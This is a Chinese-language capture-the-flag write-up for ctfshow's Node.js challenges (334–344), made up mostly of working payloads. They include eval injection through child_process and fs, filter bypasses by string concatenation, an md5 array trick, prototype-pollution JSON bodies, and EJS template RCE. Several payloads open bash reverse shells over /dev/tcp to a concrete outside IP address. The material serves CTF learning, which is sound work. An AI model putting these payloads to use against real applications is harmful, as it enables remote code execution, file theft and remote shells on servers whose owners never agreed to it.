ctfshow nodejs
前言
文档先阅读一遍
Node.js 教程 | 菜鸟教程 (runoob.com)
常见漏洞
Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)
nodejs一些入门特性&&实战 - 先知社区 (aliyun.com)
原型链污染
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
模板引擎rce
XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区 (aliyun.com)
再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)
几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)
ctfshow nodejs篇 - TARI TARI
334
变大写操作
传小写 ctfshow 123456即可
335-336-系统命令
Node.js中的chile_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令。
在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
发现返回的是 [object Object]
查看文档：
child_process 子进程 | Node.js API 文档 (nodejs.cn)
发现exec返回的是
通过查找所有可替换用法 execSync spawnSync
spawnSync():
Payload:
法一：系统命令
?eval=require('child_process').execSync('ls').toString();
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
法二：
文件操作
?eval=require('fs').readdirSync('.');
?eval=require('fs').readFileSync('fl001g.txt');
Node.js 文件系统模块 (nodejs.cn)
法三 拼接
'+' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb);
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')
367-md5
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
数组绕过?a[]=1&b[]=1
368-原型链污染
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
前面有一个copy函数，可以与链接文章里面的merge函数类比
污染 user 让secert.ctfshow为36dboy
Payload：
{"username":"1","password":"1","__proto__":{"ctfshow":"36dboy"}}
339
这里让输入flag所以没法直接利用了
非预期
ejs rce
Ejs引擎可以rce ，具体过程参考上面链接
Payload：
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
先污染一下 outputFunctionName
访问一下调用渲染，反弹shell
预期解
污染query参数 再利用Function反弹shell
污染点在user 触发点在query
/login下污染query
/api下触发query
Payload：
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2334 0>&1\"')"}}
340
触发点还是query
但是污染点不一样了
user.userinfo向上污染两级才是Object对象
payload：
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2334 0>&1\"')"}}}
341
没了api 那就用ejs的rce
342-343
具体过程分析参考前言模板rce
payload:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2333 0>&1\"')"}}}
content-type要改为application/json
344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
即 url 中不能包含大小写 8c、2c 和 逗号
nodejs 会把同名参数以数组的形式存储，并且 JSON.parse 可以正常解析
paylaod:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
引号url编码为%22与c形成%22c匹配正则，所以编码c